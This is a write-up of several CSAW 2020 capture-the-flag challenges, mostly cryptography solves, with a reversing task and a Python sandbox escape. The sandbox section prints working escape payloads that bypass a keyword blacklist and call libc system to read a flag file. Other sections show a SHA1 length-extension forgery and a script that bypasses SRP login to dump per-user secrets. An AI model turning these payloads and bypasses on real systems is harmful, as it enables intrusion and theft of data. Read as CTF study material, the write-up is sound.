## sanity

Join their Discord channel and look at the announcement channel topic.

   flag{w3lc0m3_t0_csaw2020}

## Perfect Secrecy

If you have two pictures XORed with the same key, then `A ^ key ^ B ^ key = A ^ B`, meaning you get two pictures super-imposed.  Solution:

```ruby
require 'chunky_png'

img1 = ChunkyPNG::Image.from_file('image1.png')
img2 = ChunkyPNG::Image.from_file('image2.png')
out = ChunkyPNG::Image.new(img1.width, img1.height, ChunkyPNG::Color::TRANSPARENT)

img1.pixels.length.times do |i|
 a = img1.pixels[i] == ChunkyPNG::Color::BLACK ? 1 : 0
 b = img2.pixels[i] == ChunkyPNG::Color::BLACK ? 1 : 0
 out.pixels[i] = (a ^ b) == 1 ? ChunkyPNG::Color::BLACK : ChunkyPNG::Color::WHITE
end

out.save('out.png')
```

The image shows a base64-encoded flag:

```
$ base64 -d <<< ZmxhZ3swbjNfdDFtM19QQGQhfQ==
flag{0n3_t1m3_P@d!}
```

## modus_operandi

```
$ nc crypto.chal.csaw.io 5001
Hello! For each plaintext you enter, find out if the block cipher used is ECB or CBC. Enter "ECB" or "CBC" to get the flag!
Enter plaintext:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Ciphertext is:  e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241e4667bbed18e16bfc2d6dbbea56d5241f2a026af8ec44689976f9e280770030c
ECB or CBC?
```

This is an ECB/CBC oracle (see Cryptopals #11).  Except not really, it never gives out the flag and quits on you if you guess wrong, so maybe just guess right really often (the hint speaks of <200 times)...

```ruby
require 'pwn'

def repeated_block?(bytes)
 blocks = bytes.each_slice(16).to_a
 blocks != blocks.uniq
end

s = Sock.new('crypto.chal.csaw.io', 5001)
s.recvline # greeting
i = 1
loop do
 puts "Round #{i}"
 s.recvline
 s.sendline('A' * 32)
 s.recvline
 ciphertext = line[/: *([0-9a-f]+)/] && $1
 s.recvline # ECB or CBC?
 if repeated_block?(ciphertext.chars)
   s.sendline('ECB')
   STDERR.write(0)
 else
   s.sendline('CBC')
   STDERR.write(1)
 end
 i += 1
end
```

The correct solution turned out to be underwhelming.  A certain CTF player once told me a story of a challenge where a certain (unreliable) service was sending out a stream of binary information.  This inspired me to send ones and zeroes to STDERR, depending on the detected mode:

```
01100110011011000110000101100111011110110100010101000011010000100101111101110010011001010100000001101100011011000111100101011111011100110101010101100011011010110010010001111101
flag{ECB_re@lly_sUck$}
```

## difib

Some classic crypto.  The `ramblings` file contains lines with many words that span the entire alphabet.  After cleaning up in Emacs, they look as follows:

```
mrjocktvquizphdbagsfewlynx
twodrivenjockshelpfaxmybigquiz
jocknymphswaqfdrugvexblitz
ficklejinxbogdwarvesspymathquiz
crwthvoxzapsqigymfjeldbunk
publicjunkdwarveshugmyquartzfox
quickfoxjumpsnightlyabovewizard
hmfjordwaltzcinqbuskpyxveg
phavfyxbugstonqmilkjzdcrew
wovensilkpyjamasexchangedforbluequartz
thequickonyxgoblinjumpsoverthelazydwarf
foxydivajenniferlopezwasntbakingmyquiche
hesaidbcfgjklmnopqrtuvwxyz
jenqvahlbidgumkrwcfpostxyz
brawnygodsjustflockeduptoquizandvexhim
emilyqjungschwarzkopfxtvbd
mygirlwovesixdozenplaidjacketsbeforeshequit
johnfezcamrwsputyxigkqblvd
qtipforsuvnzxylemdcbaghwjk
jumblingvextfrowzyhackspdq
jimquicklyrealizedthatthebeautifulgownsareexpensive
jqvandzstruckmybigfoxwhelp
howrazorbackjumpingfrogscanlevelsixpiquedgymnasts
lumpydrabcgqvzjinksfoxthew
fakebugsputinwaxjonquilsdrivehimcrazy
thejaypigfoxzebraandmywolvesquack
heyiamnopqrstuvwxzbcdfgjkl
quizjvbmwlynxstockderpaghf
pledbigczarjunksmyvwfoxthq
thebigplumpjowlsofzanydicknixonquiver
waltzgbquickfjordsvexnymph
qwertyuioplkjhgfdsazxcvbnm
cozylummoxgivessmartsquidwhoasksforjobpen
zyxwvutsrqponmlkjihgfedcba
fewblacktaxisdriveupmajorroadsonquiethazynights
aquickbrownfxjmpsvethlzydg
boredcravingapubquizfixwhyjustcometotheroyaloak
```

The hint suggests the 26-letter ones are keys, but also says it's 25 letters.  Some searching around shows a bifid cipher, where a common adjustment is to combine i and j into one letter, so cleanup requires removing j as well.  Another hint suggests the message has been encrypted several times in a row using these 25-letter keys, so to decrypt this needs to be done with them in reverse.  Some copy-pasting into https://www.dcode.fr/bifid-cipher later I get this:

   xustxsomexunnecessaryxtextxthatxholdsxabsolutelyxnoxmeaningxwhatsoeverxandxbearsxnoxsignificancextoxyouxinxanyxway

Feed it to the service:

```
$ nc crypto.chal.csaw.io 5004 <<< 'just some unnecessary text that holds absolutely no meaning whatsoever and bears no significance to you in any way'
> Alright messenger, what did the boss tell you to tell me? Better be right or you're not getting in!

flag{t0ld_y4_1t_w4s_3z}
```

## authy

SHA1 length extension.  Start with creating a message giving you a hash, then extend it by something that would give you the flag.  For example:

```
Input Signature: c5478c56b0fe5e345a0ea708270a9bbd540ca08f
Input Data: admin=False&access_sensitive=False&author=test&note=test2&entrynum=783
Input Key Length: 3
Input Data to Add: =1&admin=True&access_sensitive=True&entrynum=7
ca5785437eda8ee94f3658fbdec107ee889b3124
admin=False&access_sensitive=False&author=test&note=test2&entrynum=783\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02H=1&admin=True&access_sensitive=True&entrynum=7
```

There's at least two automated tools that help with performing these attacks, except that it's not that simple.  The extended string must be UTF-8 clean (\x80 will raise an error, Python converts \xc2\x80 to \x80), but the string that's hashed is decoded without UTF-8 errors and leaves any escaping byte intact.

## baby_mult

Decoder:

```ruby
bytes = File.open('program.txt').read.split(', ').map(&:to_i)
File.open('program', 'wb') { |f| bytes.each { |b| f.write(b.chr) } }
```

Disassembly:

```
$ r2 -q -cpd program
           0x00000000      55             push rbp
           0x00000001      4889e5         mov rbp, rsp
           0x00000004      4883ec18       sub rsp, 0x18
           0x00000008      48c745f84f00.  mov qword [rbp - 8], 0x4f   ; 'O' ; 79
           0x00000010      48b8154fe74b.  movabs rax, 0x14be74f15
           0x0000001a      488945f0       mov qword [rbp - 0x10], rax
           0x0000001e      48c745e80400.  mov qword [rbp - 0x18], 4
           0x00000026      48c745e00300.  mov qword [rbp - 0x20], 3
           0x0000002e      48c745d81300.  mov qword [rbp - 0x28], 0x13
           0x00000036      48c745d01501.  mov qword [rbp - 0x30], 0x115 ; 277
           0x0000003e      48b8615b644b.  movabs rax, 0x77cf4b645b61
           0x00000048      488945c8       mov qword [rbp - 0x38], rax
           0x0000004c      48c745c00200.  mov qword [rbp - 0x40], 2
           0x00000054      48c745b81100.  mov qword [rbp - 0x48], 0x11
           0x0000005c      48c745b0c121.  mov qword [rbp - 0x50], 0x21c1
           0x00000064      48c745a8e965.  mov qword [rbp - 0x58], 0x182265e9
           0x0000006c      48c745a03308.  mov qword [rbp - 0x60], 0x833 ; 2099
           0x00000074      48c74598ab0a.  mov qword [rbp - 0x68], 0xaab ; 2731
           0x0000007c      48c74590adaa.  mov qword [rbp - 0x70], 0x8daaad
           0x00000084      488b45f8       mov rax, qword [rbp - 8]
           0x00000088      480faf45f0     imul rax, qword [rbp - 0x10]
           0x0000008d      48894588       mov qword [rbp - 0x78], rax
           0x00000091      488b45e8       mov rax, qword [rbp - 0x18]
           0x00000095      480faf45e0     imul rax, qword [rbp - 0x20]
           0x0000009a      480faf45d8     imul rax, qword [rbp - 0x28]
           0x0000009f      480faf45d0     imul rax, qword [rbp - 0x30]
           0x000000a4      480faf45c8     imul rax, qword [rbp - 0x38]
           0x000000a9      48894580       mov qword [rbp - 0x80], rax
           0x000000ad      488b45c0       mov rax, qword [rbp - 0x40]
           0x000000b1      480faf45b8     imul rax, qword [rbp - 0x48]
           0x000000b6      480faf45b0     imul rax, qword [rbp - 0x50]
           0x000000bb      480faf45a8     imul rax, qword [rbp - 0x58]
           0x000000c0      48898578ffff.  mov qword [rbp - 0x88], rax
           0x000000c7      488b45a0       mov rax, qword [rbp - 0x60]
           0x000000cb      480faf4598     imul rax, qword [rbp - 0x68]
           0x000000d0      480faf4590     imul rax, qword [rbp - 0x70]
           0x000000d5      48898570ffff.  mov qword [rbp - 0x90], rax
           0x000000dc      b800000000     mov eax, 0
           0x000000e1      c9             leave
```

I've created a dummy program to transplant this shellcode into using as many nops as its large (226 bytes):

```clike
int main(){
   asm("nop"); // repeat 225 more times
}
```

Compile with `gcc -o program.elf program.c`, then edit with `r2 -w program.elf`:

```
s main
wx <shellcode hexstring>
q
```

Finally debug with GEF:

```
gef➤  start
gef➤  ni # repeat with return until leave instruction
gef➤  hexdump $rbp-0x90
0x00007fffffffea20     7d 6d 34 72 67 30 00 00 72 70 5f 64 31 6c 00 00    }m4rg0..rp_d1l..
0x00007fffffffea30     34 76 5f 72 33 70 75 73 7b 67 61 6c 66 00 00 00    4v_r3pus{galf...
0x00007fffffffea40     ad aa 8d 00 00 00 00 00 ab 0a 00 00 00 00 00 00    ................
0x00007fffffffea50     33 08 00 00 00 00 00 00 e9 65 22 18 00 00 00 00    3........e".....
```

Why 0x90?  See `0x000000d5      48898570ffff.  mov qword [rbp - 0x90], rax` in the disassembly...

Flag is encoded reverse on the stack:

```
$ ruby -e "puts '}m4rg0rp_d1l4v_r3pus{galf'.reverse"
flag{sup3r_v4l1d_pr0gr4m}
```

## slithery

Two Python sandboxes for the price of one.  I initially probed it without reading the source code by studying https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/ for suitable payloads and found that `().__class__.__bases__[0].__subclasses__()` gives me all available classes to poke at the system.  Unfortunately direct calls to interesting methods such as `read` raises an exception.  The source code shows why:

```python
def main():
   print("EduPy 3.8.2")
   while True:
       try:
           command = input(">>> ")
           if any([x in command for x in blacklist.BLACKLIST]):
               raise Exception("not allowed!!")

           final_cmd = """
uOaoBPLLRN = open("sandbox.py", "r")
uDwjTIgNRU = int(((54 * 8) / 16) * (1/3) - 8)
ORppRjAVZL = uOaoBPLLRN.readlines()[uDwjTIgNRU].strip().split(" ")
AAnBLJqtRv = ORppRjAVZL[uDwjTIgNRU]
bAfGdqzzpg = ORppRjAVZL[-uDwjTIgNRU]
uOaoBPLLRN.close()
HrjYMvtxwA = getattr(__import__(AAnBLJqtRv), bAfGdqzzpg)
RMbPOQHCzt = __builtins__.__dict__[HrjYMvtxwA(b'X19pbXBvcnRfXw==').decode('utf-8')](HrjYMvtxwA(b'bnVtcHk=').decode('utf-8'))\n""" + command
           exec(final_cmd)

       except (KeyboardInterrupt, EOFError):
           return 0
       except Exception as e:
           print(f"Exception: {e}")
```

The outer filter looks for bad words.  This can be bypassed by creating them, for example with string concatenation.  A method can be called dynamically with `__getitem__('sy'+'stem')`.  Deobfuscating the code shows that the inner sandbox is using numpy, a famous wrapper for C and Fortran libraries.  The class list shows that the ctypes class is available for calling all kinds of interesting C functions, including `system`.  Final payload:

```
$ nc pwn.chal.csaw.io 5011 <<< "print(blacklist.BLACKLIST)"
EduPy 3.8.2
>>> ['__builtins__', '__import__', 'eval', 'exec', 'import', 'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 'dir', 'type']
>>> %
$ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'ls'))"
EduPy 3.8.2
>>> blacklist.py
flag.txt
runner.py
sandbox.py
solver.py
0
>>> %
$ nc pwn.chal.csaw.io 5011 <<< "print(().__class__.__bases__[0].__subclasses__()[245]('libc.so.6').__getitem__('sy'+'stem')(b'cat flag.txt'))"
EduPy 3.8.2
>>> flag{y4_sl1th3r3d_0ut}
0
>>> %
```

Digging a bit deeper in the system shows other interesting files, including the intended solution:

```python
>>> #!/usr/bin/env python3
from pwn import *

def main():
   p = remote("localhost", "8000")
   numpy_escape = "RMbPOQHCzt.vdot(RMbPOQHCzt.intc(), RMbPOQHCzt.ndarray(1, {}))"
   py_escape = "[].__class__.__base__.__subclasses__()[134].__init__.__globals__['sys'].modules['os'].system('cat flag.txt')"

   p.sendlineafter(">>> ", numpy_escape)
   p.sendlineafter(">> ", py_escape)
   p.interactive()

if __name__ == "__main__":
   main()
```

## adversarial

I've cleaned up the base64 blocks into lines, saved them into a file and plugged it into my solution of Cryptopals #20 (breaking fixed-key CTR using statistics).  Script output:

```
$ ruby 20.rb
[info] Max input length: 709
[info] Min input length: 134
What is real? How do yxu define real? If you're talki4g about what you can feel, what you can smell, what you ean.taste and see, then
Neo, sooner or later yxu're going to realize, just aszI did, that there's a difference between knowing the patn, ond walking the path.
The flag is: 4fb81eac0 29a -- The flag is: 4fb81eac07h9a -- The flag is: 4fb81eac0729a -- The flag is: 4fb81eae07<9a -- The flag is: 4
[...]
```

Send the "flag" to the online service to obtain the real one:

```
$ nc crypto.chal.csaw.io 5000
Hello Morpheus. Back from the mission so quickly? I see.
Well what flags have you discovered? See, if I like what you have, I'll be willing to trade with you...

> 4fb81eac0729a

flag{m1ss1on_acc00mpl11shheedd!!}
```

## smallsurp

Looks like Cryptopals #37 (notice a pattern there?), the idea is to login using a zero key.  The special values `0` and `N` are blacklisted, but `2*N` and other multiples aren't.  Client-side code reveals some parameters:

```javascript
   $(document).ready(function() {

       var A = "14618732422594675787299218245900819422984157674771916640682036020233037941962208047327526764580715520869484695942436491788526885178945338713117610820572901063912212439428075594675151383815414329169261394141063394929036994286144075950381917060913341834053561885777468837937873747885586816972017012548452657967";

               $('#form').submit(function() {
           $('<input />').attr('type', 'hidden')
               .attr('name', "token1")
               .attr('value', A)
               .appendTo('#form');
           return true;
               });

       // Yikes! Our engineers are very lazy and don't want to complete this project! I guess the only people that should be able to login have to know what they're doing :)

       // SECURITY ENGINEERS:
       // We are trying a new way to securely communicate sensitive information without sending it serverside. `/` should be your point of contact! Initiate a session with it, get some info from the server, and
       // send back a request with params `username` and `computed` (created from the server's info), and if all good, you should get a landing page with info!

       // Oh and here's some stuff you might need:
       // g: 2, k: 3, N: 00ab76f585834c3c2b7b7b2c8a04c66571539fa660d39762e338cd8160589f08e3d223744cb7894ea6b424ebab899983ff61136c8315d9d03aef12bd7c0486184945998ff80c8d3d59dcb0196fb2c37c43d9cbff751a0745b9d796bcc155cfd186a3bb4ff6c43be833ff1322693d8f76418a48a51f43d598d78a642072e9fff533
   });
```

Solve script:

```python
import hashlib
import requests

def xor_data(binary_data_1, binary_data_2):
   return bytes([b1 ^ b2 for b1, b2 in zip(binary_data_1, binary_data_2)])

def hmac_sha256(key, message):
   if len(key) > 64:
       key = sha256(key).digest()
   if len(key) < 64:
       key += b'\x00' * (64 - len(key))

   o_key_pad = xor_data(b'\x5c' * 64, key)
   i_key_pad = xor_data(b'\x36' * 64, key)
   return hashlib.sha256(o_key_pad + hashlib.sha256(i_key_pad + message).digest()).hexdigest()

# URL = 'http://localhost:5000/'
URL = 'http://crypto.chal.csaw.io:5005/'
USER = 'Jere'
N = int("00ab76f585834c3c2b7b7b2c8a04c66571539fa660d39762e338cd8160589f08e3d223744cb7894ea6b424ebab899983ff61136c8315d9d03aef12bd7c0486184945998ff80c8d3d59dcb0196fb2c37c43d9cbff751a0745b9d796bcc155cfd186a3bb4ff6c43be833ff1322693d8f76418a48a51f43d598d78a642072e9fff533", 16)
A = 2 * N
r1 = requests.post(URL, {'username': USER, 'token1': A})
salt = r1.json()['nacl']
S = 0
K = hashlib.sha256(str(S).encode()).digest()
server_hmac = hmac_sha256(K, salt.encode())
print(server_hmac)
r2 = requests.get(URL + 'dash/' + USER, params={'hmac': server_hmac}, cookies=r1.cookies)
print(r2.text)
```

Output:

```htmlmixed
   <main role="main" class="col-md-9 ml-sm-auto col-lg-10 pt-3 px-4">
     <div class="d-flex justify-content-between flex-wrap flex-md-nowrap align-items-center pb-2 mb-3 border-bottom">
       <h1 class="h2">Dashboard</h1>
     </div>
     <p>Welcome to the dashboard, Jere! You are a priviledged administrator for the Company.</p>
     <br>
         <table class="table">
       <thead>
         <tr>
           <th scope="col">Login Username</th>
           <th scope="col">Password</th>
         </tr>
       </thead>
       <tbody>
         <tr>
           <td>Jere</td>
           <td>1:c4ee528d1e7d1931e512ff263297e25c:128</td>
         </tr>
       </tbody>
     </table>
   </main>
```

The hint suggests there's more secrets, so let's adjust the solve script a bit:

```python
import hashlib
import re
import requests

def xor_data(binary_data_1, binary_data_2):
   return bytes([b1 ^ b2 for b1, b2 in zip(binary_data_1, binary_data_2)])

def hmac_sha256(key, message):
   if len(key) > 64:
       key = sha256(key).digest()
   if len(key) < 64:
       key += b'\x00' * (64 - len(key))

   o_key_pad = xor_data(b'\x5c' * 64, key)
   i_key_pad = xor_data(b'\x36' * 64, key)
   return hashlib.sha256(o_key_pad + hashlib.sha256(i_key_pad + message).digest()).hexdigest()

# URL = 'http://localhost:5000/'
URL = 'http://crypto.chal.csaw.io:5005/'
N = int("00ab76f585834c3c2b7b7b2c8a04c66571539fa660d39762e338cd8160589f08e3d223744cb7894ea6b424ebab899983ff61136c8315d9d03aef12bd7c0486184945998ff80c8d3d59dcb0196fb2c37c43d9cbff751a0745b9d796bcc155cfd186a3bb4ff6c43be833ff1322693d8f76418a48a51f43d598d78a642072e9fff533", 16)
A = 2 * N
S = 0
K = hashlib.sha256(str(S).encode()).digest()

def solve(user):
   r1 = requests.post(URL, {'username': user, 'token1': A})
   salt = r1.json()['nacl']
   server_hmac = hmac_sha256(K, salt.encode())
   r2 = requests.get(URL + 'dash/' + user, params={'hmac': server_hmac}, cookies=r1.cookies)
   return re.findall('<td>(.*)</td>', r2.text)[-1]

users = [
   'Jere',
   'Lakisha',
   'Loraine',
   'Ingrid',
   'Orlando',
   'Berry',
   'Alton',
   'Bryan',
   'Kathryn',
   'Brigitte',
   'Dannie',
   'Jo',
   'Leslie',
   'Adrian',
   'Autumn',
   'Kellie',
   'Alphonso',
   'Joel',
   'Alissa',
   'Rubin',
]
for user in users:
   print(solve(user))
```

```
1:c4ee528d1e7d1931e512ff263297e25c:128
2:4b58b8b5285d2e8642a983881ed28fc7:128
3:7180fe06299e1774e0a18f48441efdaf:128
4:48359d52540614247337a5a1191034a7:128
5:1fcd4a7279840854989b7ad086354b21:128
6:f69f8e4ecde704a140705927160751d1:128
7:b0ca40dc161b1baa61930b6b7c311c30:128
8:04ed6f6bf5ec8c8c2a4d18dcce04ae48:128
9:430ad338b7b603d1770f94580f23cb38:128
10:d51669551515b6d31ce3510de343370f:128
11:b303ee7908dcbc07b8e9dac7e925a417:128
12:3c4a692ad1b13e27886e2b4893f8d761:128
13:a8e53ef9ee51cf682f621cb4ea0cb398:128
14:feb294f9380c462807bb3ea0c7402e12:128
15:9b2b15a72430189048dee8e9594c9885:128
16:f4d52e11f6f9b2a4bfbe23526160fdfd:128
17:d0f902472175a3f2c47a88b3b3108bb2:128
18:cc29eb96af9c82ab0ba6263a6e5a3768:128
19:913227d2d7e1a01b4ec52ff630053b73:128
20:8669dd2b508c2a5dfd24945f8577bd62:128
```

```
$ cat encrypted.txt
cbc:254dc5ae7bb063ceaf3c2da953386948:08589c6b40ab64c434064ec4be41c9089eefc599603bc7441898c2e8511d03f6
```

What I failed to figure out is that the 20 128bit hex strings were supposed to be a secret key split using Shamir's Secret Sharing Scheme.  I suspected it, but didn't find an implementation that actually made sense of them.  Next time: https://pycryptodome.readthedocs.io/en/latest/src/protocol/ss.html